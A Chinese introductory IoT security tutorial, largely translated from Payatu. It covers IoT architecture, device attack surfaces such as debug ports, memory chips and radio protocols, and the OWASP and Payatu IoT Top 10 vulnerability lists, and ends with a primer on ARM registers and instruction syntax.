IoT安全专题

韩乔落

前言

最近在学习 IoT,后面学习主要还是以路由器和智能汽车为主,车联网会单出一个专题。做了些笔记,写的还算细致些,适合新手师傅入门看,水平有限,有错误的地方还请师傅不吝指正。

物联网介绍及其架构

译自原文

最近,我收到了一些对物联网安全感兴趣的人的问题,询问从哪里开始物联网安全研究,因此,我决定做一组有关物联网安全的文章,以帮助想要进入物联网安全、物联网渗透测试和漏洞利用领域的研究人员。
对于安全研究人员而言,每项新技术和复杂技术的问题都可能是不知道从哪里开始以及如何、从哪里进行攻击。这是一个非常常见的问题,并且有一个通用的解决方案,即对技术进行分解为多个部分并单独学习每个部分。这个过程可以让你掌握了每个部分的知识,并引导你专注于其中的最有趣的部分。如果你都读到这里,我会假设你会坚持继续学习。所以,不要拖延,让我们开始吧:)。

注意:

  • 本系列中文章中的知识的是通用的,可以应用于任何领域的物联网产品的安全研究,无论其用途如何,包括家庭自动化、工业控制系统、医疗保健、交通等。
  • 我将使用这些词除非在解释中特别提及,否则设备、硬件和传感器可互换地表示相同的事物。
  • 我提到物联网生态系统是指物联网产品或解决方案,因为物联网技术的性质包含很多不同的技术。

物联网 != 硬件

这是人们普遍存在的一种误解,即物联网仅意味着硬件,这会造成一个的障碍,并阻止大多数安全研究人员进入物联网安全领域。是的,即使涉及硬件,也可以学习分析它所需的技能。学习硬件知识可以降低学习物联网安全技术的难度,并且学习硬件相关的技术需要一定的恒心和毅力。当您阅读完本文时,您会意识到硬件仅占 IoT 生态系统的 1/3 部分。更重要的是如果您可以攻击其他组件(例如云),可能会造成比入侵设备更多的损害。几年前,当我开始研究物联网安全时,我也有同样的顾虑,所以我把问题分解,各个击破,在此过程中学到了一些很酷的技巧。相信我,我这样的普通人都可以做到。

介绍

什么是物联网?

网上有很多关于物联网的定义,掌握一项技术的关键是了解它背后的基本意识形态,这有助于你了解它并根据之前的经验学习它。每个人都可以有自己的定义,对我来说,物联网是关于三件重要的事情
1. 自动化: 坦率地说人都是懒惰的,未来就是让我们变得更懒惰并自动化我们目前手动完成的任何事情。
2. 虚拟世界与物理世界之间的接口:在物理世界和虚拟世界之间架起一座桥梁。简单来说,允许虚拟世界从/向物理世界读取和写入。当我说读取时,我的意思是感知物理环境并将状态转换为数据并将其发送到虚拟数据存储以进行进一步分析,例如温度传感器、医疗传感器、相机等。 写入是指通过动作来控制物理世界的方法,即将数据转换为物理世界上的动作,例如门锁、控制车辆操作、喷水、医疗泵等。
3. 信息收集和决策制定: 可以实时分析从设备收集的数据,以更好地了解环境、对某些事件采取行动、找出任何物理世界问题的根本原因等。

因此,物联网技术为用户和厂商提供了实时信息和任务的自动化。
基于上述定义,如果我们要创造一种技术来解决这个问题,我们需要

    1. 提供虚拟与现实之间接口的硬件设备
    1. 用于存储数据的后端存储和对数据进行统计分析的计算能力.
    1. 用户查看分析数据以及向物理世界发送命令的虚拟界面。

第一个是通过嵌入相应传感器、控制器的经济硬件设备来解决,第二个是通过云方便地解决,最后第三个是通过移动应用程序和/或网络应用程序轻松解决。

哪里使用了物联网?

正如我上面提到的,物联网就是让我们变胖和变懒。人类善于创新,无论出于何种原因,我们都可以在近乎完美的系统中找出可以改进的地方。在当今世界,物联网技术的使用是无限的。我敢打赌,只要你往周围看一下,你就可能会有一个物联网应用的想法。目前物联网在各个领域都出现了大量创新,主要目标都是是物理世界的自动化和实时数据分析,包含以下领域:

  • 家庭自动化
  • 智能基础设施
  • 医疗保健
  • 工业控制系统
  • 交通运输
  • 实用工具
  • 以及更多

物联网架构

高级视图

最简单的物联网架构包括三个组件,如下图所示。

  1. 移动应用
  2. 物联网终端

IoT-1

组件之间使用哪种通信方式取决于物联网产品的用途和类型。以下是一些例子,说明哪些组件之间会通信以及如何通信。

  • 物联网终端仅与移动应用 – 例如基于蓝牙 BLE 的设备
  • 物联网终端仅与物联网网关对话 - 例如ZigBee、无线 HART 设备等。
  • 移动设备仅与云通话——在用户无法近距离访问设备且只能通过云进行控制的情况下。

功能架构

对物联网从功能架构上可以进一步定义为一个通过移动网络或者互联网进行连接的传感器网络。传感器可能拥有自己的基于传统 TCP/IP 的技术或基于无线电的网络,以防传统电信网络或者无线电通信无法实现的情况。在后一种情况下,需要有一个网关(我们所谓的物联网网关/集线器/路由器)作为无线电通信和传统 TCP/IP 通信之间的接口。从现在开始,我将把 TCP/IP 称为传统的网络通信。

cloud_iot_1

我们还可以在不同地方多个传感器网络,这些网络可以通过物联网网关通过传统网络相互通信和连接,如下所示。

20210921cloud_iot_2-768x335

分层模型

如果我们从分层的角度来看物联网技术,我们可以将物联网技术核心划分为3层。

  1. 传感层——由硬件传感器和传感器网络组成。
  2. 通信层——这包括允许传感层与管理层进行通信的通信网络,例如——Wifi、3G、LTE、以太网等。
  3. 管理层——这是最顶层,负责理解原始数据并为用户提供可视化视图。它包括云、存储、应用程序等。

iot_layered

物联网攻击面

译自原文

物联网攻击面

了解物联网和物联网架构的含义后。现在我们将开始进入安全领域,并尝试定义一种方法来理解和创建结构化流程来执行物联网的安全研究或渗透测试。
如果我们查看上一篇文章中定义的架构,现在我们可以轻松的对物联网进行拆分并尝试为每个组件单独定义攻击面,然后将它们组合起来以创建整个物联网生态系统攻击面。我称其为 IoT 生态系统而不是 IoT 产品,因为它确实是一个由不同组件相互通信并解决特定现实世界问题的生态系统。下面将继续定义物联网生态系统的攻击面,并详细讨论每个组件的攻击面。按组件的攻击面可以将物联网组件攻击面分为三个或四个(如果我们将通信作为攻击面),主要攻击面如下:

  • 移动应用
  • 通信
  • 物联网终端设备

device_attack_surface

OWASP 现在也在物联网安全方面做了很多工作,他们也定义了攻击面。我希望你也去看看OWASP定义的物联网攻击面,通过了解不同的观点和想法有助于让你对物联网攻击面的学习更加全面。

注意:

  • 微控制器一词以通用形式使用,表示微控制器、微处理器或 SoC(片上系统),除非另有说明。
  • 以下攻击面由我们定义,可能与其他定义有所不同。

移动应用

移动应用是物联网的重要用户界面之一,用户可以通过它感知物理世界的状态。由于移动应用程序与物联网生态系统以发送命令和读取数据形式进行通信,因此它成为进入物联网生态系统的切入点之一。我们将尝试从物联网的角度列举移动设备的攻击面。

  • 数据存储
  • 授权认证
  • 数据加密
  • 通信
  • 移动应用通用漏洞 – OWASP Mobile Top 10 浮现在脑海

云是物联网中非常重要的部分之一,通常来自物联网产品线所有实例的数据都汇聚在这里。这使它成为一个非常有趣的攻击点。请记住,我在上一篇文章中提到物联网不仅与硬件有关。原因是云将保存所有部署的物联网实例的数据,并有权向所有实例发送命令。通常命令是由用户发起的,但是如果受到攻击,攻击者将获得对部署在全球范围内的设备(及其数据)的控制权,这很危险。总体而言,攻击面侧重于它提供的接口,其中包括

  • 数据存储
  • 授权认证
  • 数据加密
  • 通信
  • 应用接口
  • 通用 Web/云漏洞 – OWASP Web Top 10 浮现在脑海

终端设备

接下来是设备,它是物联网技术的游戏规则改变者 :)。它与物理世界交互,也与虚拟世界通信。它是物理世界数据的第一站。鉴于其存储的用户的敏感数据(例如家庭数据、身体统计数据、个人信息),围绕用户隐私展开了一场全面的竞争。未来设备可能会直接通过钱包或单独的临时钱包使用用户的加密货币来购买物品、进行维修等。 攻击面如下所示

  • 数据存储
  • 授权认证
  • 数据加密
  • 通信
  • 传感器接口
  • 外围接口
  • 硬件接口
  • 人机接口

通信

尽管这不是一个有形的攻击面,因为理想情况下有形的攻击面是通信接口和负责通信的相应驱动程序、固件。然而,通信却需要单独列出来,因为物联网生态系统可以在有线和无线介质上使用的各种各样的通信协议。下面是部分通信攻击面。

  • 授权认证
  • 数据加密
  • 使用非标准通信协议
  • 通信协议实现错误

硬件接口承载实际通信。然而,实际的通信数据/数据包是由在软件中实现的定义的。因此,在这个攻击面(通信)中,我们将只讨论协议。尽管协议中的缺陷可能实际发生在移动应用、设备或云上的协议端点的攻击,但为了清楚起见,我们将其保留为单独的攻击面。此处的列表中有太多协议标准无法提及。但是,我们将列出各种 IoT 产品中使用的一些常见协议。

1. Web

Web或技术术语 HTTP(S) 是最常用的通信协议,无处不在。我们将其单独列出来,因为 Web 上的攻击面是巨大的。然而,好消息是攻击面、漏洞和缓解技术大多已经标准化,因为它已经被研究了二十多年。网上有大量资源详细描述了攻击和保护。对于初学者来说,OWASP 在他们的 Web Top 10、测试指南和各种开源工具(www.owasp.org)方面做得很好

2. 其他

除了 Web 之外,还有许多协议,一些是特定领域的,一些是通用的,还有一些是出于性能原因。此处列出的协议太多,为简洁起见,我们将列出一些常见的协议标准,让您对所使用的协议种类有一个大致的了解。历史告诉我们,所有协议都会有实现缺陷、协议设计缺陷和配置缺陷。这些需要在渗透测试期间进行分析。

以上应该为您提供物联网生态系统攻击面的概述。现在我们对它有了一个清晰的认识,让我们为物联网终端设备定义一个详细的攻击面,以便我们知道在标准物联网渗透测试中我们究竟需要攻击什么。这也有助于物联网安全架构师为物联网产品创建威胁模型。
请注意,我们不会(重新)定义移动应用和云的攻击面,因为您可以在 Internet 上找到大量描述相同内容的资源。

物联网设备攻击面

好的,让我们这样做:)。以下是物联网攻击面的独立和结构化定义。请注意,这是根据我们的理解,并未直接参考其他定义。

1. 数据存储

设备使用的存储。这可以进一步分为内部和外部、持久性和易失性。

1.1 SD 卡

SD 卡通常用于存储配置和产品数据。它们也可用于存储固件更新。这是一个非常有趣的攻击面,我们将在后面的博客文章中讨论某些可能通过 SD 卡进行的攻击。

1.2 USB

某些产品可能使用 USB 驱动器来存储与 SD 卡中类似的数据,以及读取下载或存储在 USB 驱动器上的数据。与 SD 卡类似的攻击适用于 USB 存储设备。

1.3 非易失性存储器

非易失性存储器功能很多,包括读/写传感器数据、引导加载程序、固件、凭据、密钥等。在测试硬件板时,查看存储在芯片上的数据至关重要。我们还可以对存储器和微控制器之间的通信进行运行时分析,以分析在不同操作期间存储/读取的数据类型,可以通过让逻辑分析仪嗅探总线通信来实现的。您可以在触发设备上的特定操作时发现正在读取/写入的有趣数据。有以下不同类型的内存芯片:

  • 只读存储器EPROM
  • 电可擦可编程只读存储器EEPROM
  • FLASH – 由于其速度和效率而更常用

i2c_serial_eeprom

1.4 易失性内存

说到易失性存储器,我们脑海中立刻就会浮现出 RAM 这个词。它们广泛用于 PC 和嵌入式系统,并在运行时保存代码和数据。设备断电时数据丢失。一些常见的RAM类型如下

  • SRAM(Static Random Access Memory 静态随机存取存储器)——一种 RAM,用于保存芯片断电时丢失的数据。
  • DRAM(Dynamic Random Access Memory 动态随机存取存储器)——数据会保留一段时间,之后数据会丢失,除非在运行时刷新。这意味着与 SRAM 相比,即使在芯片通电期间,数据的寿命也很短。芯片断电时数据也会丢失。

1.5 微控制器内部存储器

微控制器也有自己的内部存储器,通常用于存储代码。在调试微控制器时通常可以访问这些存储器,例如通过 JTAG 进行调试。微控制器中使用的各种存储器是:

  • SRAM
  • EEPROM
  • FLASH

2. 硬件通讯接口

同一块板上的不同硬件组件需要相互通信并与外界通信。所有这些通信都是使用定义明确的标准硬件通信协议完成的。从攻击者的角度来看,它通过嗅探或注入恶意数据让他们深入了解实际通信。分析下面提到的一些最常见的接口以查找安全问题。

2.1 UART串口

UART (Universal Asynchronous Receiver Transmitter) 是一个硬件组件,允许两个硬件外设之间进行异步串行通信。它们可以在同一块板上(例如微控制器与电机或 LED 屏幕通信)或两个不同设备之间(例如设备微控制器与 PC 通信)。这是一个有趣的攻击面,因为它可能允许通过串行方式对设备进行读/写访问。在许多设备中,板上的 UART 端口保持打开状态,任何人都可以通过串行连接和访问以获取某种类型的控制台,即简单的 shell、自定义命令行控制台、日志输出等。一个设备通常会有一组引脚-输出连接到微控制器 UART RX 和 TX 引脚,用于发送和接收串行数据。

20210921uart

2.2 微控制器调试口

微控制器可以在运行时使用连接到板上引脚输出的指定引脚进行调试。开发人员和设计人员使用这些引脚输出(端口)来调试、读/写固件和微控制器内部存储器、控制/测试微控制器引脚后期生产。考虑到它为攻击者提供的能力和访问权限,这使得调试端口成为最关键的攻击面之一。有一些用于此目的的标准接口如下:

1. JTAG(Joint Test Action Group): 随着微控制器和 PCB 变得越来越小,生产后很难对其进行测试。因此,为了在生产后有效地测试电路板,电子行业创建了一个同名协会,并定义了一种在生产后测试电路板的方法。它后来被改编为 IEEE 标准 1149.1。JTAG 协议定义了可用于测试和调试微控制器的标准接口和命令。JTAG 定义了四个引脚接口(和一个额外的可选引脚 TRST):

  • TMS – 测试模式选择
  • TCK - 测试时钟
  • TDI – 测试数据输入
  • TDO – 测试数据输出
  • TRST – 测试复位(可选引脚)

除了测试芯片外,调试器还使用这些引脚与微控制器上实现的 TAP(测试访问端口)进行通信。从安全角度来看,识别 JTAG 端口并与其连接允许攻击者提取固件、对逻辑进行逆向工程并在设备上写入恶意固件。在以后的文章中会详细介绍。

2. cJTAG(Compact JTAG): 这是IEEE 1149.7标准中定义的新JTAG协议。它不会取代 1149.1 标准,而是进一步扩展了它,并且向后兼容 JTAG。它定义了一个双引脚接口(TCK 和 TMS)和一个实现新功能的新 TAP。

3. SWD(串行线调试): SWD 是另一种用于调试微控制器的接口/协议。它是一个两针接口:SWDIO(双向)SWCLK (clock) 它是一个针对 ARM 处理器的特定的协议,它使用 ARM CPU 标准的双向线协议,在 ARM Debug Interface v5 中定义。SWD 的好处是它声称比 JTAG 更高效。

20210921jtag-768x704

请注意,JTAG 端口不一定像上图中那样位于一组 10 引脚排列中。

2.3 I2C

Inter-Integrated Circuit 是一种短距离通信协议,用于同一板上芯片之间的通信。它是由飞利浦(现在的恩智浦)发明的。它具有主从(多)架构并使用两线总线

  • SDA——串行数据
  • SCL——串行时钟

I2C 的用例之一是EEPROM 芯片上连接到微控制器 I2C 引脚存储数据或代码。典型的攻击包括篡改数据、提取敏感信息、破坏数据等。我们应该分析 EEPROM 芯片上的静态数据,并通过嗅探 I2C 通信来执行运行时分析,以了解行为和安全隐患。

2.4 SPI

Serial Peripheral Interface 也是一种短距离通信协议,用于同一板上芯片之间的通信。它是由摩托罗拉开发的。它是全双工的,采用主从架构(单主)。与 I2C 相比,它还具有更高的吞吐量。它使用四线串行总线:

  • SCLK——串行时钟。其他名称包括 SCK
  • MOSI – 主出从入。其他名称包括 SIMO、SDI、DI、DIN、SI、MTSR。
  • MISO – 主进从出。其他名称包括 SOMI、SDO、DO、DOUT、SO、MRST。
  • SS – 从选择。其他名称包括 S̅S̅、SSEL、CS、C̅S̅、CE、nSS、/SS、SS#

它用于与各种外围设备通话。Flash 和 EEPROM 芯片也使用 SPI。测试和分析的方法类似于 I2C,只是我们有不同的总线接口。

2.5 USB

该设备可以具有用于充电或通信的 USB(mini/micro等)接口。对于后者,有必要测试接口是否存在已知或未知问题。我们应该嗅探通信以进行运行时分析以及Fuzzing USB 接口以查找未知错误。

2.6 传感器

这是一个相当宽泛的名称,我们用来表示物理世界的接口。不一定限于感测型接口。例如,温度传感器将是一个完美的例子,但门锁也是一个没有感知任何东西但通过“锁定/解锁”动作控制物理世界的门锁。这些可以根据其操作分为三种类型:

  • 监视器 Monitor:这与传感器的字面意义更密切相关,即感知或监视物理世界的任何变化。前任。温度、运动、脉搏、血压、胎压等。
  • 控制器 Control:这些类型的设备以某种方式控制物理世界。如锁、调度器等
  • 混合 Hybrid:这些是上述两种类型的组合,即温度控制、基于一天中的时间的灯等。这是关键接口之一,因为来自物理世界的所有值和数据都将传输到云中。如果攻击者可以使用格式错误(错误)的数据控制设备,那么整个生态系统都会受到影响,因为所有决策和统计数据都基于这些数据。换句话说,这是物联网生态系统的症结所在。此处错误的值可能会对生态系统做出的决策产生灾难性影响。

2.7 人机界面

与传感器接口一样,我们使用 HMI 作为通用术语来定义用户和设备之间的接口,但不限于工业控制系统中使用的术语。这是用户可以用来与设备通信并直接对其进行操作的界面。一些常见的例子是触摸屏、按钮、触摸板等。 测试这个界面以找出任何绕过机制、安全漏洞等很重要。

2.8 其他硬件接口

还有许多其他硬件接口用于与设备进行通信。作为渗透测试者,分析和发现所有接口中的缺陷和绕过机制很重要。一些众所周知的接口包括(但不限于):

3. 网络通讯接口

该接口允许设备与虚拟世界的其余部分通信,包括传感器网络、云和移动设备。负责网络通信的硬件接口可能有自己独立的微控制器/固件来提供通信功能。这种情况下的攻击面是实现低级通信的固件或驱动程序代码。

3.1 WIFI无线网络

wifi 接口有一些已知问题。从攻击面的角度来看,攻击 wifi 芯片方法包括损坏它、DOS、绕过安全限制或代码执行会很有趣。

3.2 以太网

以太网接口与 wifi 接口一样,也存在低级 TCP/IP 堆栈漏洞以及硬件实现漏洞和类似的攻击向量。

3.3 无线电

考虑到许多物联网产品已转向/正在使用无线电通信构建,无线电接口已成为最重要的攻击面之一。这种偏好源于这样一个事实,即在许多情况下使用无线电更有效比通过 Wifi/有线网络连接。我将 Wifi 单独分类而不是在本节中的原因主要是为了明确区分可以直接连接到互联网的设备(Wifi/有线)和需要网关(例如智能集线器)的设备,该网关同时实现Radio以及Wifi/Wired接口,分别与传感器和互联网进行通信。 从实际通信的角度来看,可以将其视为两种不同的通信方式:

1. 简单/非结构化: 这种类型通常用于简单的产品,如百叶窗、锁、门铃等。简单和非结构化是指它使用简单(主要是专有)数据(流)并通过无线电接口发送它。作为渗透测试人员,您需要对通信进行逆向工程以找出实现上的缺陷。使用无线电嗅探硬件工具(如 SDR(软件定义无线电)等)很容易嗅探无线电通信。

2. 复杂/结构化: 复杂和结构化通信意味着它使用结构化数据包进行无线电通信,这些数据包很复杂,因为除了数据之外,它们还携带有关协议的附加和元信息。由于高效、标准化、经济的芯片、实施的便利性,这些协议在物联网世界中非常有名。同样,有多种工具可用于嗅探和解析协议以提取所发送的应用程序特定数据。一些常见的协议包括:

  • 蓝牙(和 BLE)
  • ZigBee
  • Z波
  • NFC
  • RFID
  • LORA
  • Wireless HART

物联网10大安全漏洞

译自原文

说到十大漏洞,我们首先想到的是OWASP。为什么不呢,毕竟他们是定义 Web 和移动应用 10 大漏洞的先驱。我是 OWASP 的粉丝,这仅仅是因为 OWASP 社区多年来为定义应用程序安全问题、为行业提供免费教程和开源工具以减轻风险和漏洞所做的工作。您很有可能没有听说过 OWASP 或从他们的网站上阅读过内容,但是如果您没有,我强烈建议您访问他们的网站 https://www.owasp.org

OWASP 还启动了物联网安全计划,社区定义了物联网攻击面和物联网前 10 大漏洞,以及Web和移动设备10大漏洞。他们的方向是正确的,很快它就会成为学习物联网安全内容的绝佳场所。

OWASP网站物联网安全相关内容如下:

OWASP物联网十大漏洞

OWASP 最近定义了物联网中的前 10 个漏洞。它非常全面,我建议您阅读它们并了解物联网生态系统的威胁和问题是什么。作为作业,您可以将其映射到我们在上一篇博文中定义的攻击面。OWASP IoT 十大漏洞(根据https://www.owasp.org/index.php/Top_IoT_Vulnerabilities):

  • I1.不安全的 Web 界面
  • I2.身份验证/授权不足
  • I3.不安全的网络服务
  • I4.缺乏传输加密/完整性验证
  • I5.隐私问题
  • I6.不安全的云接口
  • I7.不安全的移动接口
  • I8.安全可配置性不足
  • I9.不安全的软件/固件
  • I10.物理安全性差

我们不会深入研究前十名中每个项目的详细信息。可以在 OWASP 链接(上面给出)上找到详细信息。相反,我们将根据我们发现的问题或 Internet 上发布的问题的经验来优化前十名。

Payatu物联网十大漏洞

免责声明:请注意,我们的目标不是试图超越 OWASP 前十名,这些人做得很好。向 OWASP 团队致敬!这是一项基于我们经验的练习,更多地关注值得关注的硬件和新的物联网技术。

我们将继续维护和更新 Payatu IoT Top 10 漏洞。如果您有任何建议,请随时给我们发送电子邮件(info a..t payatu DOT com)。我们将 Web 和云合二为一,原因是并非所有传感器或物联网设备都具有 Web 界面,而云是生态系统的重要组成部分,从攻击面的角度来看,它主要是基于 Web API 的。此外,一些漏洞可能适用于多个组件,例如硬编码适用于设备和移动应用程序。
我们将定义对物联网安全市场和产品造成影响的 10 大物联网漏洞。我们将解释以下所有物联网漏洞,以了解基本的安全问题。

  • P1.硬编码敏感信息
  • P2.启用硬件调试端口
  • P3.不安全的固件
  • P4.不安全的数据存储
  • P5.认证不足
  • P6. 不安全的通信
  • P7. 不安全的配置
  • P8.数据输入过滤不足
  • P9. 不安全的移动接口
  • P10.不安全的云/网络界面

20210921payatu_iot_top_ten

P1. 硬编码敏感信息

由于开发人员在程序中对静态数据进行硬编码,因此在开发过程中对信息进行硬编码是常见的做法。但是,当敏感信息被硬编码时就会出现问题。很可能将敏感信息硬编码在固件以及移动应用程序或胖客户端中。问题是它对于产品的所有实例保持不变,可用于攻击部署在现场的任何产品实例。硬编码的敏感信息的一些示例:

    1. 凭证信息 - 包含设备服务、云服务的凭据信息。
    1. 加密密钥 - 非对称加密私钥、对称加密密钥
    1. 证书 - 客户端证书等
    1. API 密钥 - 私有/付费 API
    1. URLs – 开发、固件相关、用户相关、后端等。
    1. 配置信息

P2. 启用硬件调试端口

设备硬件可能会打开调试端口以与系统交互。简单来说,它是 PCB 上的一组引脚,它们连接到微控制器/微处理器引脚,您可以使用客户端软件连接到这些引脚,通过硬件通信协议进行通信,允许您与系统进行交互。交互和特权级别取决于协议类型及其用法。例如,可能有 UART 接口的引脚输出,它可以让您访问高级软件/应用程序,即Shell、记录器输出等。您还可以使用以下协议与微控制器进行低级交互JTAG、SWD 等,这些使您可以直接控制微控制器,以便您可以测试和分析微控制器引脚值,读/写内部闪存,读/写寄存器值,调试操作系统/基础固件代码等等。如果设备上启用了这些端口/引脚,攻击者可以劫持设备和/或从设备中提取敏感信息,包括固件和数据。这些端口通常用于对生产设备中的问题进行故障排除/调试。

P3.安全的固件

这里的术语“不安全”是指固件的管理方式,而不是具体的固件代码漏洞本身。固件包含设备的业务逻辑,基本是厂商专有,即 IP(知识产权)。如果攻击者可以访问明文固件,他/她可以对其进行逆向工程以发现安全问题或克隆逻辑并最终克隆产品本身。漏洞取决于固件在设备上的存储和更新方式。如果不注意正确加密存储或动态(更新)中的固件,攻击者可以获取它。固件的一些问题是(但不限于):

    1. 固件以明文形式存储在内存芯片上
    1. 固件未签名和/或引导加载程序在加载前未验证固件的完整性
    1. 固件更新以明文形式从云或移动设备传输到设备。
    1. 固件更新通过明文通信协议传输,例如 http。
    1. 固件为所有设备实例使用单个对称密钥加密。
    1. 固件加密密钥随设备更新一起传输。

正确实施的基于 PKI 的系统可以确保最佳安全性,但是大多数低功耗传感器缺乏有效实施 PKI 的计算能力。此外,如果更新是安全的,但可以使用其他漏洞从设备中提取到加密密钥,那么上面所有工作都是徒劳的。

P4.不安全的数据存储

这个问题在物联网终端设备和移动应用程序中都很突出。这在物联网终端设备中更为明显,可能是厂商认为逆向硬件很困难。敏感数据如果没有安全存储,攻击者可以提取和利用来破坏系统。除了安全问题,如果用户的个人数据没有得到适当的保护,它也可能对隐私产生影响。一些常见问题:

    1. 敏感数据以明文形式存储在内存芯片上
    1. 敏感数据加密存储但加密密钥可访问
    1. 自定义加密用于加密数据
    1. 没有对修改数据的访问控制
    1. 移动数据存储不安全应用程序(请参考P9. 不安全的移动界面)

P5.认证不足

设备可能使用不正确或没有身份验证机制,这允许攻击者完全绕过身份验证机制,如果它实施不当并向设备发送未经授权的命令。这对于关键物联网设备来说是一个严重的问题,因为网络上的任何人(TCP/IP 或无线电)都可以覆盖正常操作并控制设备。设备上发生的一些身份验证问题是(但不限于):

    1. 没有客户端身份验证
    1. 通过明文通信通道进行身份验证
    1. 用于凭据的加密不正确
    1. 可预测凭据
    1. 默认凭据

P6. 不安全的通信

如果攻击者能够从通信中嗅探、分析、重放和提取敏感信息,则物联网生态系统内的通信可能不安全。漏洞可能是由于使用了不安全的通信协议或协议本身的缺陷。为了简单起见,供应商可能会选择使用不安全的通信方法。由于物联网是一项不断发展的新技术,因此许多物联网协议没有定义适当的安全机制或供应商实施默认的不安全模式。问题包括(但不限于):

    1. 共享敏感信息时未加密通信
    1. 使用自定义加密
    1. 使用自定义/专有协议
    1. 使用不当加密
    1. 使用协议默认(弱)安全模式
    1. 使用有已知问题的协议
    1. 重放问题

P7. 不安全的配置

当设备配置不安全或设备不允许用户修改配置参数时,会出现此问题。此问题也发生在移动应用程序和云配置中。为了保持简单或快速交付产品,开发人员可能会选择使用简单但不安全的配置或禁止更改。一些明显的问题是(但不限于):

    1. 使用默认的不安全配置
    1. 禁止集成商或用户修改配置
    1. 发布产品中不安全的低级协议和硬件配置
    1. 不安全的加密模式和设置
    1. 共享或存储的用户个人数据的可见性很低或没有可见性

P8. 数据输入过滤不足

随着物联网生态系统中实施更多物联网协议,这将成为未来的一个主要问题。例如,来自设备的遥测数据可能受到云或 IoT 网关的信任,从而导致已知和未知的安全问题,例如远程代码执行、基于 Web 的攻击(如 SQL 注入)、跨站点脚本等等。我们希望在未来优先考虑这一点。虽然成熟的实现确实过滤了传统技术的数据,但新的物联网协议实现还有待提高。

P9. 不安全的移动界面

由于从安全角度来看移动技术相对于传感器技术已经成熟,因此我们将所有移动安全问题归为一类。这并不意味着它们的优先级较低,因为您可以看到一些高优先级漏洞也适用于移动设备。然而,由于技术的成熟,它已经拥有大量关于安全问题和安全实现的信息。作为 OWASP 的粉丝,我们建议从 OWASP Mobile Top 10 漏洞开始,这些漏洞将解决大多数安全问题。

P10. 不安全的云/网络界面

正如“P9. 不安全的移动接口”,同样适用于云和网络。如果设备具有 Web 界面,您仍然可以通过 Web 攻击拥有该设备,但是这些安全问题已经得到很好的定义和理解。同样,我们建议从 OWASP Web Top 10 漏洞开始,以了解和缓解 Web 安全问题,以及来自 Cloud security Alliance 的云安全文档。请注意,这不是唯一可用的知识库,您应该查看互联网上可用的工具和研究论文。值得注意的是,云构成了物联网生态系统的数据存储和通信主干。如果云被攻陷,可能会导致整个物联网生态系统受到危害,包括世界各地和宇宙中所有部署的产品。

无线电安全

这部分拿出来单独写了,直接在 blog无线电安全专题 就可以看到。

汇编基础

默认大家有x86汇编基础了,这里属于极速入门(有时间还是要看看相关的书籍,比如《计算机组成与设计》的各个架构的版本)

几乎所有架构的系统调用号可以在这里查系统调用查询网址

ARM

参考链接-1 参考链接-2

ARM 中的指令、伪指令、伪操作、寄存器名等可以全部使用大写,也可以全部使用小写,但是不能大小写混用。

寄存器

ARM Description
R0 General Purpose(第 1 个参数,也可被用作累加器,还被用于存储函数的返回值)
R1-R3 General Purpose(第 2、3、4 个参数)
R4-R6 General Purpose
R7 General Purpose(R7常用于存储系统调用号)
R8-R10 General Purpose
R11(FP) Frame Pointer(栈帧)
R12(IP) Intra Procedural Call(内部程序调用)
R13(SP) Stack Pointer(栈顶)
R14(LR) Link Register(链接寄存器,用来存放函数的返回地址)
R15(PC) <Program Counter/Instruction Pointer>
CPSR 程序状态寄存器,用户级编程时用于存储条件码
SPSR SPSR 除usr、sys外,用于异常保护的CPSR的备份,异常时,保存CPSR值,异常退出时,将该值恢复到CPSR

特别的,如果函数返回值大于4字节,则用R0-R1做返回值,R2-R3做函数参数,其余参数入栈。

指令集合

arm 和 aarch64 指令字长都是 4 字节。

一般格式如下:

1
2
MNEMONIC{S}{condition} {Rd}, Operand1, Operand2
助记符{是否使用CPSR}{是否条件执行以及条件} {目的寄存器}, 操作符1, 操作符2

由于ARM指令的灵活性,不是全部的指令都满足这个模板,不过大部分都满足了。下面来说说模板中的含义:

1
2
3
4
5
6
MNEMONIC     - 指令的助记符如ADD
{S} - 可选的扩展位,如果指令后加了S,则需要依据计算结果更新CPSR寄存器中的条件跳转相关的FLAG
{condition} - 如果机器码要被条件执行,那它需要满足的条件标示
{Rd} - 存储结果的目的寄存器
Operand1 - 第一个操作数,寄存器或者是一个立即数
Operand2 - 第二个(可变的)操作数,可以是一个立即数或者寄存器或者有偏移量的寄存器

当助记符,S,目的寄存器以及第一个操作数都被声明的时候,条件执行以及第二操作数需要一些声明。因为条件执行是依赖于CPSR寄存器的值的,更精确的说是寄存器中的一些比特位。第二操作数是一个可变操作数,因为我们可以以各种形式来使用它,立即数,寄存器,或者有偏移量的寄存器。举例来说,第二操作数还有如下操作:

1
2
3
4
5
6
7
#123                    @ 立即数
Rx @ 寄存器比如R1
Rx, ASR n @ 对寄存器中的值进行算术右移n位后的值
Rx, LSL n @ 对寄存器中的值进行逻辑左移n位后的值
Rx, LSR n @ 对寄存器中的值进行逻辑右移n位后的值
Rx, ROR n @ 对寄存器中的值进行循环右移n位后的值
Rx, RRX @ 对寄存器中的值进行带扩展的循环右移1位后的值
1
2
3
4
ADD   R0, R1, R2         @ 将第一操作数R1的内容与第二操作数R2的内容相加,将结果存储到R0中。
ADD R0, R1, #2 @ 将第一操作数R1的内容与第二操作数一个立即数相加,将结果存到R0中
MOVLE R0, #5 @ 当满足条件LE(Less and Equal,小于等于0)将第二操作数立即数5移动到R0中,注意这条指令与MOVLE @ R0, R0, #5相同
MOV R0, R1, LSL #1 @ 将第一操作数R1寄存器中的值逻辑左移1位后存入R0

指令中一些结尾符号有特殊含义,方便理解,比如:

指令 含义 指令 含义
MOV 移动数据 EOR 比特位异或
MVN 取反码移动数据 LDR 加载数据
ADD 数据相加 STR 存储数据
SUB 数据相减 LDM 多次加载
MUL 数据相乘 STM 多次存储
LSL 逻辑左移 PUSH 压栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 分支跳转,无条件跳转
ROR 循环右移 BL 链接分支跳转,保存返回地址于LR
CMP 比较操作 BX 分支跳转切换
AND 比特位与 BLX 链接分支跳转切换
ORR 比特位或 SWI/SVC 系统调用
MRS 将特殊寄存器中的数据传递给通用寄存器 MSR 将通用寄存器中的数据传递给特殊寄存器

重点指令示例

指令 目的 描述
MOV R0 R1 将 R1 里面的数据复制到 R0 中。
MRS R0 CPSR 将特殊寄存器 CPSR 里面的数据复制到 R0 中。
MSR CPSR R1 将 R1 里面的数据复制到特殊寄存器 CPSR 里中。
LDR R0 =0X0209C004 将寄存器地址 0X0209C004 加载到 R0 中,即 R0=0X0209C004
